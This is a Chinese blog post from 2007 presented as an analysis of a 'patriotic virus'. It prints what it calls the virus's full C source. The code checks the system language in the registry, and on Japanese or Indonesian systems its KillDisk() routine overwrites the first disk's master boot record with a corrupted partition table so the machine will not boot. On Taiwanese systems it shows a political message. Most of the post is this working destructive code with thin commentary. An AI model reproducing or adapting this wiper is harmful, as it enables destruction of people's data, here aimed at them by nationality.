07-10
20

爱国病毒技术简单分析 (源代码篇)

爱国病毒,专攻日本操作系统病毒技术简单分析:
江民公司截获了该病毒,并发布新闻:病毒作者留言呼吁阿扁下台 仿CIH病毒破坏分区表
http://www.jiangmin.com/News/jiangmin/index/important/20071015135432.htm

说真的,我不是这个病毒的作者,但我朋友的朋友的网友认识该病毒的作者,通过本人调查走访,软磨硬泡,终于把技术内幕告诉我了。具体是这样的。

首先,病毒运行的时候,会判断用户的操作系统,具体代码如下:
int GetSystemLanguage()
{
    Fpopedom();

    char *ChineseVal="0804";
    char *Indonesian="0421";
    char *Japanese="0411";
    char *HongKong="0c04";
    char *TaiWan="0404";

    HKEY hkey;
    char LanguageVal[256]=" ";
    DWORD cb;
    DWORD dwRegType=REG_SZ;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Nls\\Language",0,KEY_ALL_ACCESS,&hkey);
    RegQueryValueEx(hkey,"InstallLanguage",NULL,&dwRegType,(LPBYTE)LanguageVal,&cb);
    RegCloseKey(hkey);
    
    if(lstrcmp(ChineseVal,LanguageVal)==0)
        return Chinese_Language;
    
    if(lstrcmp(Indonesian,LanguageVal)==0)
        return Indonesian_Language;

    if(lstrcmp(Japanese,LanguageVal)==0)
        return Japanese_Language;

    if(lstrcmp(HongKong,LanguageVal)==0)
        return HongKong_Language;

    if(lstrcmp(TaiWan,LanguageVal)==0)
        return TaiWan_Language;
    
    else
        return 0;
    
}

由此可以看到,病毒会读取[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language]
来判断所感染的系统为什么语言,由代码可以看出来,这里涉及到5个国家、地区。

分别是:

中文:0804
印度尼西亚:0421
日本:0411
香港:0c04
台湾:0404

随后主要运行部分,代码如下:
void main()
{
    int LanguageValue=GetSystemLanguage();
    switch(LanguageValue)
    {
    case Chinese_Language:
        ExitProcess(0);
        break;
    case TaiWan_Language:
        MessageBox(NULL,"阿扁下台,我们是中国人 我们身体流着的是中华民族的血 . "
            "阿扁同志 你那么喜欢台独 你要脸么? 啊 国外人都怎么笑我们中国人的..! 你想做历史的罪人?滚吧 你! "
            "我们是中国人! 死也是中国魂!!","中国人",0);
        break;
    case HongKong_Language:
        ExitProcess(0);
        break;
    case Indonesian_Language:
        KillDisk();
        break;
    case Japanese_Language:
        KillDisk();
        break;
    default:
        MessageBox(NULL,
            "Your luck's so good !","Shit",
            MB_ICONERROR|MB_OK);
        break;
    }

}

这里可以很清楚的看到,该病毒仅仅感染日本和印尼语言的操作系统。

如果遇到简体中文,就跳过,如果遇到台湾语言,不感染,但弹出提示框:
MessageBox(NULL,"阿扁下台,我们是中国人 我们身体流着的是中华民族的血 . "
            "阿扁同志 你那么喜欢台独 你要脸么? 啊 国外人都怎么笑我们中国人的..! 你想做历史的罪人?滚吧 你! "
            "我们是中国人! 死也是中国魂!!","中国人",0);


如果遇见香港语言,病毒也会跳过,最后如果遇到日本和印尼语言的系统,病毒就会执行程序 KillDisk()


那么 KillDisk() 这个子程序具体是如何实现的呢?

代码如下:
void KillDisk()
{
    HANDLE hDevice=
        CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,
                   FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
                   0,NULL);

    if(hDevice==INVALID_HANDLE_VALUE)
    {
      MessageBox(NULL,"Your luck's so good !","Man~",MB_ICONERROR|MB_OK);
      ExitProcess(0);
    }

    DWORD cout;
    DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
    
    DISK_GEOMETRY Getmetry;

    DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),
                    &cout,
                    NULL);
    
    LPTSTR szBuf;
    szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),
                            HEAP_ZERO_MEMORY,
                            Getmetry.BytesPerSector);

    if(szBuf==NULL)
    {
        MessageBox(NULL,
                   "Your luck's so good !","Man~",
                   MB_ICONERROR|MB_OK);
        ExitProcess(0);
    }
    
    DWORD bytes=512;
    DWORD readsize;
    BOOL m_ret;
    m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL);
    if(m_ret==FALSE || readsize<512)
    {
        MessageBox(NULL,
            "Your luck's so good !","Man~",
            MB_ICONERROR|MB_OK);
        ExitProcess(0);
    }
    
    BYTE MBR[512]={0};
    for(int n=0;n<512;n++)
    {
        MBR[n]=szBuf[n];
    }
    
    DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
    CloseHandle(hDevice);

    MBR[0x1BE]=80;
    MBR[0x1BF]=0;
    MBR[0x1C2]=5;
    for(int i=0x1C3;i<=0x1FE;i++)
    {
        MBR[i]=MBR[i]^26;
    }

    hDevice=
        CreateFile("\\\\.\\PHYSICALDRIVE0",
        GENERIC_READ|GENERIC_WRITE,
        FILE_SHARE_READ|FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
                  );
    if(hDevice==INVALID_HANDLE_VALUE)
    {
        MessageBox(NULL,
            "Your luck's so good !","Man~",
            MB_ICONERROR|MB_OK);
        ExitProcess(0);
    }
    DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);

    m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL);
    if(m_ret==FALSE||readsize<512)
    {
        MessageBox(NULL,
            "Your luck's so good !","Shit",
            MB_ICONERROR|MB_OK);
        ExitProcess(0);
    }
    
    DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
    



    CloseHandle(hDevice);
    
        
}


其实主要就是通过破坏硬盘的MBR从而达到目的。
首先病毒先访问第一块物理硬盘,然后逐步写入数据,从代码可以分析出,被感染病毒的电脑,无任何中毒症状(机器变卡、蓝屏等),但下次重新启动的时候,计算机就挂了。

本人对C++的硬盘操作方面不是很了解,因此KillDisk()这段程序的详细分析就无能为力了,有能力的高手可以看看。

不过国内用户可以放心,该病毒是不会破坏简体中文版操作系统的。好在病毒作者并没有把病毒开源,不然只要懂点程序的人,稍加修改,病毒就可以破坏任何语言的操作系统,这样后果不堪设想。

经过编译后,文件仅仅2、3K,如经过网页挂马方式传播,是相当方便的。这样的病毒传播起来就太可怕了。

文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags: 爱国 病毒
相关日志:
评论: 1 | 引用: 0 | 查看次数: 1218
回复回复x4h[2007-12-27 12:28 AM | del]
代码我只给过一个人。。。。。。。你怎么会有?   作者燕过留声
发表评论
昵 称:
密 码: 游客发言不需要密码.
内 容:
验证码: 验证码
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.
字数限制 1000 字 | UBB代码 开启 | [img]标签 关闭